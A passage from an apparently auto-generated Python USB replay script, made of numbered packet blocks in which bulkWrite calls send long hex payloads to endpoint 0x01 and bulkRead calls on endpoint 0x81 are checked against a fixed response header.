b\"\\x7B\\xF4\\x29\\x8A\\x35\\xF5\\x1A\\x23\\x04\\xE4\\xF0\\xD5\\x40\\x43\\x56\\x79\"\n b\"\\xA1\\x77\\x2F\\xBB\\x5D\\xE9\\x20\\x26\\x5C\\x42\\x72\\x76\\xA1\\x4B\\x05\\x2D\"\n b\"\\x15\\xE5\\x75\\x21\\xE7\\x95\\x80\\x2C\\x47\\x08\\x05\\xD5\\xFD\\xA1\\x01\\x53\"\n b\"\\x29\\x2A\\xE2\\x63\\x3B\\x4A\\xFB\\x6E\\x66\\x1D\\xE1\\x46\\x2B\\x67\\x13\\x31\"\n b\"\\x06\\xC0\\x5A\\x00\\x12\\x09\\x6D\\x4C\\xE2\\x9F\\x75\\x14\\x8A\\x3C\\xF3\\xDC\"\n b\"\\x17\\xA4\\xA7\\x3B\\x6B\\x3C\\x12\\x8F\\x91\\x0B\\xC0\\x41\\x44\\x72\\x56\\x89\"\n b\"\\xF3\\xA0\\x53\\x9A\\x95\\x6A\\xC4\\x76\\x03\\x87\\x89\\xE0\\x72\\x6F\\x70\\xD9\"\n b\"\\x60\\xC7\\x8F\\xF3\\x47\\x87\\xE3\\x77\\x78\\x16\\x79\\x86\")\n # Generated from packet 1919/1920\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1919/1920\")\n # Generated from packet 1921/1922\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE6\\x5C\\xA7\\x79\\x82\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x64\\x3E\\x3A\\xA9\\x85\\x1C\\x97\\x57\"\n b\"\\xB8\\xA0\\x9C\\x1E\\x94\\xED\\x4A\\x4A\\xD7\\x15\\x2F\\xB3\\x41\\xBB\\x36\\xCF\"\n b\"\\xF2\\xBA\\x0D\\xE1\\x55\\xF0\\x46\\x89\\x15\\x51\\x53\\x9A\\x02\\x0B\\x54\\x76\"\n b\"\\xD9\\xB8\\x70\\xBC\\xF5\\xDA\\xD1\\xC5\\xD7\\x77\\x89\\x5D\\xEA\\xE7\\xAE\\xD7\"\n b\"\\x99\\xA8\\x79\\x86\\xD3\\xF0\\xC8\\xBB\\x32\\xCE\\x39\\xE3\\x75\\xF8\\x50\\xDC\"\n b\"\\x6F\\xB0\\x0F\\x94\\x02\\x77\\xFA\\xD0\\x38\\x30\\xAB\\x2C\\x97\\xAE\\xC9\\x71\"\n b\"\\x29\\xC2\\x5F\\xCE\\x6A\\xC1\\x20\\xC8\\x8B\\xD1\\x6E\\x6B\\xF9\\xC7\\xB0\\x0A\"\n b\"\\x42\\x01\\x9B\\x85\\xED\\x13\\x7A\\x74\\x9D\\x56\\x58\\x8B\\xDC\\x61\\xA0\\xDE\"\n b\"\\x00\\xDB\\x5A\\xE8\\xA0\\xE5\\xCD\\x82\\xA2\\x91\\xF9\\x2D\\x02\\xC7\\x82\\x24\"\n b\"\\x88\\xE5\\x0D\\xF6\\x5F\\xF3\\xA6\\x12\\xAE\\xE9\\x9D\\x04\\x3F\\xC4\\x7A\\x3C\"\n b\"\\xB0\\x9D\\xE9\\x32\\x13\\x1F\\x07\\x1D\\x8C\\x2C\\xA4\\x31\\x5D\\x13\\x84\\x92\"\n b\"\\x8F\\xCC\\xF9\\x54\\x72\\xBF\\x1D\\x3F\\x8B\\x15\\x2C\\xF2\\xCC\\xBA\\x94\\xF6\"\n b\"\\x05\\xA2\\xB2\\x8A\\x46\\x5E\\x8C\\x1F\\x0A\\xAB\\x4A\\xB4\\x17\\x67\\x33\\x5E\"\n b\"\\x0D\\x67\\x6B\\xCC\\xBA\\xBA\\x58\\x22\\xE3\\x02\\xA8\\x48\\xC0\\x4B\\xBA\\x52\"\n b\"\\xD2\\xA8\\x8D\\x2B\\x76\\x61\\xE7\\xA5\\x53\\xB6\\xB3\\x76\\xE7\\x47\\xED\\x2B\"\n b\"\\xA8\\x2A\\xC5\\x67\\xCA\\x6C\\x2A\\x7B\\xE5\\x9E\\x75\\xD8\\x95\\xF0\\xC8\\x3B\"\n b\"\\x87\\x00\\xBD\\x90\\xCA\\x15\\x41\\x6E\\x3C\\x2C\\xE4\\xCA\")\n # Generated from packet 1923/1924\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1923/1924\")\n # Generated from packet 1925/1926\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1B\\x52\\x72\\xB0\\xBE\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x39\\x26\\x6D\\x87\\x50\\xF1\\x17\\x0F\"\n b\"\\xD9\\x11\\x2D\\x35\\xF2\\x9A\\xDE\\xA9\\xD7\\x62\\x4A\\xFD\\x8A\\xDD\\xE7\\x66\"\n b\"\\xE0\\x81\\x04\\x0B\\x0C\\xA8\\x1A\\xD4\\xD5\\x40\\x7D\\x04\\xD5\\x34\\x99\\xEB\"\n b\"\\xAB\\x77\\xFF\\xA5\\x70\\x63\\x75\\x0A\\xBF\\xAA\\xC4\\xC5\\x83\\xAB\\x9F\\xE3\"\n b\"\\x8F\\x44\\xC2\\x9C\\xB7\\xB9\\x00\\x49\\x2C\\xDE\\x4E\\xD5\\xD2\\x6E\\x21\\xEF\"\n b\"\\xB6\\xF9\\xD6\\xCA\\x38\\xFA\\x25\\x32\\xAF\\x4D\\xCA\\xF6\\x2F\\x60\\x50\\xA1\"\n b\"\\xD9\\x9A\\xB7\\x0B\\xE6\\x2D\\x8F\\x9F\\xE2\\xD8\\xC9\\x11\\xFD\\xD7\\x66\\x69\"\n b\"\\xE5\\x08\\xBD\\xF4\\xFA\\xCE\\x06\\x92\\xCC\\xF8\\xD5\\x36\\x5D\\x73\\xB0\\xA9\"\n b\"\\x02\\xD0\\x1D\\x0B\\x59\\xE5\\xC3\\xEB\\xA8\\xBF\\x37\\x4B\\x68\\xDD\\xEE\\x05\"\n b\"\\xF8\\x77\\x94\\x83\\x11\\x0A\\xDA\\x60\\x13\\x9A\\xEF\\xF7\\x50\\x23\\xAB\\x88\"\n b\"\\xAA\\xED\\x82\\x73\\xE7\\x4C\\x91\\x8B\\x92\\x25\\x1A\\xCB\\xEF\\xD8\\x52\\x84\"\n b\"\\x4C\\xDF\\x8C\\xB1\\x9B\\x24\\xFB\\xA1\\x70\\xB6\\xDD\\x41\\xDF\\xD6\\x34\\x53\"\n b\"\\x02\\xE6\\x54\\xC8\\xE3\\x13\\x4B\\xB5\\x13\\x58\\xC8\\x66\\x91\\x27\\x71\\x9F\"\n b\"\\x94\\x16\\xE1\\x8C\\x99\\x31\\xC6\\x81\\x17\\x8D\\x95\\xD4\\xD1\\x59\\x15\\x55\"\n b\"\\x84\\x56\\x40\\x20\\xC3\\xE6\\xB9\\xCC\\xEA\\xC6\\x78\\x45\\xD4\\x43\\x73\\xE8\"\n b\"\\xA2\\xE8\\xF9\\x13\\x79\\xAB\\xBE\\x9C\\xF3\\xFC\\x81\\x52\\x42\\x67\\x62\\xC5\"\n b\"\\xEE\\x39\\x0B\\xFB\\x18\\xA0\\x5A\\x6E\\x85\\xF8\\x70\\x23\")\n # Generated from packet 1927/1928\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1927/1928\")\n # Generated from packet 1929/1930\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7F\\x6E\\xDE\\x31\\xDB\\x43\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA4\\xB1\\xBF\\xA8\\x74\\x0A\\xCF\\xC0\"\n b\"\\xAB\\xFA\\x91\\x37\\x3E\\x3F\\x4F\\x2D\\xCB\\xAB\\x36\\x2E\\x40\\x58\\x9F\\x2A\"\n b\"\\xCB\\x20\\x5F\\xBA\\x53\\x98\\xE9\\xBC\\xC0\\xC9\\x8B\\x94\\x77\\x42\\xA9\\x6D\"\n b\"\\x44\\xF1\\x83\\x67\\x27\\x3E\\x52\\x0C\\xB6\\x40\\xDC\\x70\\xA1\\xF4\\xC1\\x77\"\n b\"\\xBF\\x7B\\x2C\\x55\\x50\\x3B\\x28\\x1C\\xCB\\x0E\\xEC\\x04\\x43\\x11\\xFB\\x02\"\n b\"\\x96\\xE5\\x33\\xC4\\x42\\xF2\\xD1\\x4D\\xC6\\x54\\x1B\\xBE\\xCC\\xBD\\xE4\\x8C\"\n b\"\\xB1\\xD0\\xB8\\xDC\\x85\\xFD\\x26\\x02\\x55\\xB9\\x30\\xCB\\x84\\xC7\\xAC\\x0E\"\n b\"\\x76\\xB9\\xA3\\x39\\x9D\\xC4\\xAB\\xCB\\xAD\\x5D\\x22\\x5D\\xF0\\x1A\\x54\\x4A\"\n b\"\\x21\\xBE\\x8D\\x08\\xD6\\x16\\x29\\x8A\\x81\\x53\\xD8\\x2B\\x45\\x99\\xF4\\xBA\"\n b\"\\x4C\\x0A\\x0A\\xCF\\x40\\x04\\xB2\\x5D\\x8E\\x76\\xC6\\xC6\\xB9\\x8A\\xA4\\x57\"\n b\"\\x41\\x17\\xE4\\xFD\\xED\\x1B\\xF7\\xAB\\xF2\\xFD\\x3C\\xCD\\x8F\\xD2\\xD8\\x6F\"\n b\"\\x8D\\x12\\x58\\xE5\\x9D\\xE7\\x4E\\x03\\x57\\xE4\\x8E\\x59\\x8F\\x0A\\xB7\\x6E\"\n b\"\\xA6\\x29\\x9C\\xEF\\xB3\\xC0\\x18\\x28\\xC3\\xE1\\xDE\\x23\\x94\\x15\\xEA\\xBC\"\n b\"\\xE9\\x07\\xF3\\xDC\\xAD\\x89\\x27\\x3B\\xC7\\xDA\\x0A\\x69\\xFD\\xE5\\xBD\\xC8\"\n b\"\\x4B\\xA9\\xFE\\x83\\x03\\xF8\\xAC\\xEC\\x64\\x9C\\x99\\xC0\\xBF\\x8B\\xA8\\x0A\"\n b\"\\xDE\\x91\\xA5\\x23\\x0C\\xB0\\x73\\x11\\x82\\x77\\x5F\\x1E\\x15\\xF8\\x04\\x9B\"\n b\"\\xFA\\x36\\x78\\x10\\x19\\xCD\\xF6\\x55\\x55\\x25\\x12\\x7A\")\n # Generated from packet 1931/1932\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1931/1932\")\n # Generated from packet 1933/1934\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x43\\x56\\xB3\\xA6\\xC2\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC9\\xF7\\x92\\x82\\x2E\\x21\\x7B\\x10\"\n b\"\\xB5\\xBC\\x6B\\xE6\\x62\\x4F\\xA6\\x4F\\xD1\\x37\\x19\\x4C\\xFD\\xAF\\xF5\\xE7\"\n b\"\\xE3\\xE7\\x80\\xCD\\x04\\xE0\\xB7\\x7F\\x5A\\xE1\\x8B\\x5C\\xCE\\x36\\x0E\\x29\"\n b\"\\x68\\x68\\x0A\\x54\\x80\\x52\\x1F\\x12\\x58\\xF6\\x92\\x62\\x4A\\x43\\xCF\\x43\"\n b\"\\x61\\x2C\\x7F\\x36\\xE6\\x70\\x85\\xA0\\xA7\\x06\\xF6\\xCC\\xC0\\xF9\\x12\\x34\"\n b\"\\x54\\xF8\\x50\\x2F\\x22\\x04\\x70\\x65\\x12\\xBD\\x24\\x26\\xF7\\xC1\\xC2\\xE1\"\n b\"\\x96\\xFD\\x78\\x51\\xF5\\x70\\x86\\x80\\xC4\\x1A\\x0D\\x35\\x82\\xE0\\x35\\x77\"\n b\"\\xE4\\x7D\\x8A\\x4F\\xA1\\xAB\\xE9\\xF6\\x9E\\x18\\x6F\\x1D\\xDF\\xDF\\x03\\x2A\"\n b\"\\x85\\xBC\\x97\\x87\\x91\\xFA\\x35\\x6A\\xF3\\x50\\x76\\x7C\\x31\\xE1\\x1C\\x73\"\n b\"\\x8D\\x21\\xCF\\xA5\\xB3\\x5D\\x27\\xE9\\x6C\\x5B\\x75\\x6B\\x5D\\x35\\xC3\\x68\"\n b\"\\x83\\x13\\xC0\\xF2\\xF3\\x65\\xD9\\xF3\\xE1\\x70\\xDF\\xF5\\x73\\xBE\\x6A\\x2E\"\n b\"\\x39\\x28\\xEF\\x3B\\xD8\\xF6\\xC9\\x0B\\xE3\\x05\\x9D\\x56\\xF3\\x52\\x80\\x2F\"\n b\"\\x19\\x46\\x2A\\xF9\\xDA\\x74\\xBB\\xEE\\x5F\\xFC\\x77\\xD2\\x30\\x0A\\x76\\xAC\"\n b\"\\x42\\xC8\\xEB\\x80\\xE4\\xD0\\xC6\\x2E\\x77\\xC5\\x63\\xBC\\xE3\\x89\\xE4\\x86\"\n b\"\\x75\\xD4\\x6C\\xAD\\xEC\\xA2\\xAC\\x97\\x8F\\x9B\\x82\\xAA\\xBC\\xA1\\xB4\\x4D\"\n b\"\\x37\\x2B\\x77\\xAE\\x04\\xB2\\xC5\\x1F\\x1B\\x4C\\x38\\x63\\xFD\\xE6\\x25\\x73\"\n b\"\\x6A\\xFA\\xD5\\xF2\\x96\\x9E\\x08\\xF0\\x63\\x88\\x3D\\xD4\")\n # Generated from packet 1935/1936\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1935/1936\")\n # Generated from packet 1937/1938\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x83\\x57\\xDA\\xBB\\x46\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCC\\xD7\\xAF\\x0A\\x36\\xE8\\x46\\x96\"\n b\"\\x56\\xD2\\xF4\\xA9\\x23\\x2C\\x9F\\xB5\\x7B\\x47\\x96\\x17\\xD0\\xD3\\x1F\\x1B\"\n b\"\\x67\\x64\\x6C\\xBB\\x46\\x53\\xB8\\x42\\x76\\x4A\\x18\\x65\\x41\\xC6\\x26\\x56\"\n b\"\\x80\\x7E\\x61\\x7F\\xD5\\xDE\\xAC\\xC1\\xDE\\x50\\xB0\\x40\\xDA\\xDA\\x9D\\x8F\"\n b\"\\x1A\\xA7\\x16\\xCE\\xC1\\xA1\\x5A\\xD6\\x53\\x23\\x7D\\x22\\x8C\\x01\\xBF\\xAA\"\n b\"\\x00\\x21\\xA7\\x7B\\x5B\\x56\\x6A\\xDE\\x35\\x1A\\xE6\\xFD\\xE7\\xF9\\x94\\x20\"\n b\"\\x1C\\xC4\\x53\\x74\\x80\\x7D\\xFB\\x92\\xE0\\xDA\\x6F\\x77\\x50\\x9C\\x10\\x87\"\n b\"\\xAD\\xC6\\xA5\\xF6\\xDC\\x48\\x4A\\x5B\\x84\\xEF\\x7F\\x18\\xA5\\xDE\\xB1\\x76\"\n b\"\\x31\\x8F\\xE9\\x7C\\xB1\\x8E\\x99\\xDD\\x63\\xFD\\x94\\xFF\\x72\\x32\\xC5\\x83\"\n b\"\\xB3\\xE7\\x35\\x15\\xBD\\x40\\x7B\\x9B\\x20\\x20\\x27\\x96\\x60\\x73\\xBC\\xBE\"\n b\"\\x29\\xD1\\x10\\xDD\\xF5\\x0F\\x20\\x9F\\x46\\x4A\\x34\\x6A\\x04\\x66\\xBD\\xDD\"\n b\"\\xC0\\x7C\\xD7\\x1B\\x65\\x48\\xA5\\xF3\\x8E\\x78\\x75\\xDC\\x23\\x10\\xF9\\x13\"\n b\"\\x62\\xEE\\xAE\\x9C\\xB1\\xCE\\x72\\xE4\\x90\\xF9\\xBF\\x73\\xEB\\x82\\xE2\\x47\"\n b\"\\x07\\x24\\xB7\\xD2\\xC7\\xD6\\x5C\\xD7\\x12\\x1A\\xAA\\x33\\xEB\\xE6\\xD7\\xA5\"\n b\"\\x15\\x58\\x0F\\xE3\\x9A\\x1D\\x53\\xBA\\x85\\x9B\\x5E\\xFB\\x71\\x75\\x19\\x60\"\n b\"\\xD8\\x69\\xA6\\xDA\\x27\\x76\\x87\\x4A\\xB1\\x28\\x5A\\x46\\xA2\\x21\\x9C\\x70\"\n b\"\\xA7\\x4A\\x20\\x48\\x16\\xBC\\x70\\xCA\\x5D\\x44\\x7C\\x13\")\n # Generated from packet 1939/1940\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1939/1940\")\n # Generated from packet 1941/1942\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDB\\x1F\\x2C\\x21\\x41\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x76\\x05\\x96\\xD5\\x0C\\xFC\\x6E\\xE5\"\n b\"\\x57\\xC8\\x5F\\xA1\\x0D\\x3E\\xEA\\xFF\\xD9\\x05\\x27\\x62\\x2D\\x6C\\x5C\\xD6\"\n b\"\\xA6\\xB5\\x8D\\x4E\\x6A\\x3B\\x87\\x09\\x31\\x6D\\x7F\\x59\\x4B\\x8B\\x6F\\x19\"\n b\"\\x1C\\x36\\x7E\\xB8\\xA9\\xE1\\x43\\x50\\x83\\xB2\\xBD\\x5A\\x43\\x8F\\x1A\\xB6\"\n b\"\\xF8\\x5F\\xE8\\xF1\\x66\\xC6\\xA8\\xFA\\x0B\\x54\\x07\\x6A\\xA8\\x11\\x2B\\x1A\"\n b\"\\x17\\xC6\\x40\\x96\\xD9\\x6A\\x4E\\xA6\\x17\\x32\\x47\\xB4\\x4D\\xBE\\xA0\\x1A\"\n b\"\\xB5\\x19\\xC1\\x14\\x40\\xA3\\x07\\x94\\xF5\\x8E\\xD4\\xA6\\x8C\\x1C\\x74\\x44\"\n b\"\\x1B\\x3C\\xFA\\x7E\\x2A\\xBB\\xDD\\x1B\\x2B\\x6F\\x80\\xAB\\xFB\\xA7\\xF0\\x4D\"\n b\"\\x12\\xB4\\x84\\x2C\\x10\\xDF\\xB1\\x66\\xCE\\xD8\\x5D\\x6C\\xF4\\x6B\\x12\\x2C\"\n b\"\\xBF\\x3B\\xEA\\x5A\\x15\\x2E\\xD6\\xA0\\x85\\x44\\x83\\x2B\\x06\\x89\\x46\\x3C\"\n b\"\\x2B\\x23\\xDB\\xBE\\x5D\\x50\\x44\\x6D\\xF9\\x25\\x06\\x51\\x06\\x43\\xC6\\xD8\"\n b\"\\x06\\x43\\x72\\x0E\\xC4\\x48\\x29\\x2F\\xFD\\xC5\\x10\\x8C\\x0B\\x7E\\x12\\x9B\"\n b\"\\x6C\\x52\\x70\\x0A\\x66\\xE3\\x0E\\x2D\\x7B\\x77\\x7F\\x58\\x69\\x67\\x03\\x9C\"\n b\"\\x2D\\x25\\x1B\\x55\\x44\\xD8\\x50\\x46\\xEE\\xBD\\x3A\\x2E\\xA0\\x9C\\x22\\x93\"\n b\"\\x10\\x6E\\xB9\\x71\\x11\\xC0\\x41\\xE4\\xDE\\xF2\\x5D\\xBC\\x4C\\xB2\\xAE\\x3F\"\n b\"\\x14\\x99\\x3F\\x27\\x71\\x06\\x4D\\xCD\\xEB\\x80\\xE3\\x98\\x58\\x2C\\x19\\xF7\"\n b\"\\xB5\\xBD\\x56\\x83\\x30\\x25\\xAB\\xA4\\x3D\\x04\\x96\\x9B\")\n # Generated from packet 1943/1944\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1943/1944\")\n # Generated from packet 1945/1946\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3B\\x2B\\x16\\x90\\x2B\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3B\\xB3\\xA6\\x68\\xDE\\x6E\\x23\\xA5\"\n b\"\\xC6\\xB6\\x57\\xD2\\x90\\x0C\\x5B\\x88\\xEC\\xE1\\x0B\\xD0\\x91\\x97\\xE2\\x1C\"\n b\"\\xF8\\x1A\\x63\\x47\\x95\\x7C\\x99\\x2F\\xA2\\xD2\\x65\\xFD\\x4A\\x10\\x9E\\x6E\"\n b\"\\x32\\x2D\\x53\\x74\\x2D\\x38\\x2B\\x7F\\xDF\\xEC\\x6F\\x61\\xD5\\x98\\x30\\x37\"\n b\"\\xA8\\x3B\\xC3\\xB7\\xE0\\x7E\\x17\\xED\\x6C\\x37\\xB6\\x6A\\xCA\\x74\\x52\\xED\"\n b\"\\x43\\x73\\xB9\\x94\\xC9\\xF4\\x61\\xB3\\xAB\\xA6\\xF4\\x8E\\x5B\\x9A\\xFC\\xD2\"\n b\"\\x9E\\x4D\\x43\\x2D\\xA8\\x86\\x5B\\x36\\xBE\\x58\\xDA\\xA8\\x85\\x25\\xBC\\xBE\"\n b\"\\x84\\xFB\\x1B\\x37\\xBF\\xDF\\x60\\xC3\\xFE\\x82\\x50\\xF4\\xE1\\x87\\x42\\x48\"\n b\"\\x1B\\x50\\x09\\x93\\x9A\\xEB\\xD8\\xCD\\xEE\\xB4\\x71\\xDC\\xBF\\x58\\x68\\x5E\"\n b\"\\xA8\\x74\\x42\\xBC\\xBF\\x3B\\x26\\xC4\\x55\\x91\\x14\\x44\\x01\\x7A\\x25\\xF1\"\n b\"\\xA0\\xC4\\x5C\\x44\\x60\\x4D\\xFB\\xDB\\xEA\\xF3\\x5E\\x8B\\x06\\xA7\\x8A\\x3B\"\n b\"\\xBA\\x45\\x98\\x51\\x5C\\xD4\\x0E\\x0C\\xEB\\x4C\\x33\\x1D\\xDC\\x9C\\x19\\x60\"\n b\"\\x65\\x8C\\xBE\\xE4\\x12\\x55\\x2F\\xD0\\x22\\x19\\x7C\\x7E\\x54\\x90\\x87\\xF6\"\n b\"\\x0A\\x03\\xC4\\xA4\\xBB\\x55\\x70\\xCA\\xF2\\xA9\\x74\\x62\\xCD\\x6E\\xDC\\xFF\"\n b\"\\xBE\\xBE\\xE4\\x76\\xC4\\x8D\\x37\\x9E\\x75\\x71\\x8B\\x32\\x28\\x7B\\xDF\\x87\"\n b\"\\x90\\x77\\xFD\\x68\\x8E\\x48\\xD3\\x54\\xFB\\xBD\\xB7\\x2B\\x27\\x3A\\xE9\\x38\"\n b\"\\x4E\\xAF\\x7A\\xB5\\xC2\\x2F\\x43\\xA4\\x68\\xC4\\xBD\\x1E\")\n # Generated from packet 1947/1948\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1947/1948\")\n # Generated from packet 1949/1950\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3D\\x12\\x14\\xC1\\x8C\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x31\\x31\\xAD\\xE7\\xCA\\xAF\\xB7\\xA1\"\n b\"\\x4A\\x73\\x51\\x6D\\x32\\x9A\\xF6\\x41\\x33\\xE9\\x6E\\x55\\x83\\xE9\\xA8\\xD0\"\n b\"\\x8A\\x7D\\x6F\\x13\\x9F\\x37\\x53\\x95\\xD4\\xFF\\xF7\\x5E\\x58\\xF6\\x63\\x22\"\n b\"\\x6D\\xFC\\x77\\x42\\xC3\\xF0\\x89\\xE8\\xFE\\x5E\\x16\\xB4\\x4B\\xC9\\x33\\x7A\"\n b\"\\xCA\\x3A\\xDA\\x3E\\xD0\\x11\\xF2\\xCB\\x97\\x31\\xE7\\xD1\\x78\\x73\\x21\\x59\"\n b\"\\x83\\x0D\\x8B\\xBE\\xDA\\xA2\\x8B\\xD9\\xDD\\x4C\\x2E\\x48\\xFD\\xCE\\x6C\\x03\"\n b\"\\x6D\\xEB\\xF4\\x38\\x03\\x34\\xBD\\x71\\xCA\\xF4\\x8C\\x52\\x8C\\x9C\\xCA\\xA9\"\n b\"\\xA2\\x87\\x09\\x6E\\xED\\x0C\\x8D\\x0F\\x02\\x11\\x84\\xC7\\x91\\x8D\\x7E\\x75\"\n b\"\\x4E\\x20\\xC6\\xB6\\xAD\\xE9\\x88\\x97\\xB3\\xF7\\xC1\\x9C\\x32\\x1D\\x67\\x77\"\n b\"\\x3F\\xF5\\xFE\\x37\\x0A\\x82\\xBC\\x05\\xDC\\x01\\x92\\x79\\xFB\\x17\\xA4\\x17\"\n b\"\\x55\\xE5\\x6F\\x12\\x2E\\x08\\x1E\\x73\\xD4\\xB3\\xD0\\x00\\x06\\x95\\xA1\\xBA\"\n b\"\\x8B\\x9D\\xD5\\x07\\x3B\\x36\\x52\\x3B\\xB6\\x45\\x3B\\x08\\x08\\xD0\\xAC\\x14\"\n b\"\\xC3\\xD1\\x47\\x59\\x15\\xCD\\x1D\\x79\\xCD\\x3C\\x88\\x48\\x6F\\xED\\x51\\x45\"\n b\"\\xC8\\x2F\\x38\\xA7\\x8E\\x9C\\x7E\\xE2\\x3E\\x74\\x12\\x4F\\x19\\x57\\xB6\\x32\"\n b\"\\x52\\x1A\\x62\\x49\\x79\\xF3\\xDB\\xE9\\x5E\\x77\\x1F\\x93\\x22\\x30\\x75\\x70\"\n b\"\\xFC\\xD3\\xDA\\x70\\x68\\xD6\\x92\\x5D\\x56\\x26\\x79\\xA5\\x2E\\xE3\\xB6\\xDF\"\n b\"\\x3B\\xC6\\xAD\\xA4\\xB9\\x6C\\xB4\\x5D\\x29\\x8E\\xE3\\x98\")\n # Generated from packet 1951/1952\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1951/1952\")\n # Generated from packet 1953/1954\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDC\\x79\\x93\\xA2\\xFA\\x03\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDB\\xBC\\x1C\\x65\\x7C\\x55\\xF0\\x11\"\n b\"\\xCD\\x90\\xCC\\x1B\\xCD\\x6B\\x87\\x97\\x1C\\xCC\\xAC\\xFB\\x7D\\x72\\xDF\\xF8\"\n b\"\\x77\\xB4\\x6E\\xD0\\xB1\\x3E\\x96\\x98\\x92\\x00\\x4D\\x9A\\x04\\x37\\x04\\xFA\"\n b\"\\x63\\xC1\\x7B\\xAE\\x2F\\x7C\\x51\\x23\\x53\\x48\\x7B\\xFA\\x44\\x27\\x08\\x41\"\n b\"\\x7E\\x67\\x12\\x61\\xC6\\x9A\\x03\\x66\\x2D\\x91\\x08\\x93\\x72\\x76\\xF1\\xFF\"\n b\"\\x85\\x4A\\x75\\x9B\\xC6\\x04\\xC6\\xD0\\x81\\x0D\\x91\\x71\\x53\\xB8\\xA5\\x3C\"\n b\"\\x4F\\x71\\xFE\\x5D\\x0E\\x5C\\xC7\\xD4\\x85\\x85\\xDE\\xB4\\x86\\xF2\\xF8\\x00\"\n b\"\\x91\\x9D\\xD3\\x46\\x99\\xD4\\x30\\x86\\x52\\xF7\\x22\\x93\\x67\\xE2\\xDF\\xD1\"\n b\"\\x65\\xAB\\x94\\xDA\\xB1\\x55\\x87\\xA9\\xE6\\x65\\x4D\\x65\\x3C\\xE7\\xFE\\x2F\"\n b\"\\xEB\\x92\\x49\\x61\\x2B\\x80\\x3E\\x24\\xD0\\x1D\\x4A\\x62\\x9F\\x60\\x4A\\x45\"\n b\"\\x19\\x26\\xCD\\x04\\x4B\\x6F\\x43\\xA7\\x07\\x1E\\xED\\x9D\\xBC\\xD4\\x7A\\x68\"\n b\"\\x55\\xDF\\x0C\\x0B\\x16\\xFF\\x5A\\x32\\x9A\\xA5\\xA3\\x47\\xED\\x81\\x55\\x95\"\n b\"\\x55\\x13\\x54\\xCB\\x77\\xCF\\xEE\\xCE\\x77\\xDE\\x52\\x00\\xCE\\x45\\x3E\\x1A\"\n b\"\\xE4\\xD8\\x27\\xC2\\x10\\xE5\\x53\\xB5\\xE0\\xF1\\xC1\\xA8\\xA2\\x32\\xFF\\x14\"\n b\"\\x29\\x0C\\xAA\\xE9\\xC8\\xA4\\x20\\x8E\\x03\\x6A\\x71\\x43\\xEB\\x71\\x2C\\xE6\"\n b\"\\x77\\x53\\x9A\\x00\\x2F\\x72\\x26\\xC9\\x54\\x29\\x5E\\x42\\x7E\\xF0\\x89\\xB7\"\n b\"\\x76\\x4A\\xCF\\x83\\x46\\xD3\\xDE\\x7C\\xD7\\xE4\\x9A\\x4D\")\n # Generated from packet 1955/1956\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1955/1956\")\n # Generated from packet 1957/1958\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3C\\xB3\\x8A\\x44\\x30\\x6F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x16\\xC3\\xC2\\x2D\\xB8\\x25\\x03\"\n b\"\\xCC\\x1E\\x2C\\xD8\\xA4\\x88\\xD5\\x93\\xB0\\xB2\\x8F\\x46\\x0A\\xE5\\xAA\\xDA\"\n b\"\\x71\\x5C\\x12\\x8E\\x96\\xEC\\xFE\\x6A\\x7E\\xC3\\xA1\\x7D\\xE9\\xDC\\x6B\\xCA\"\n 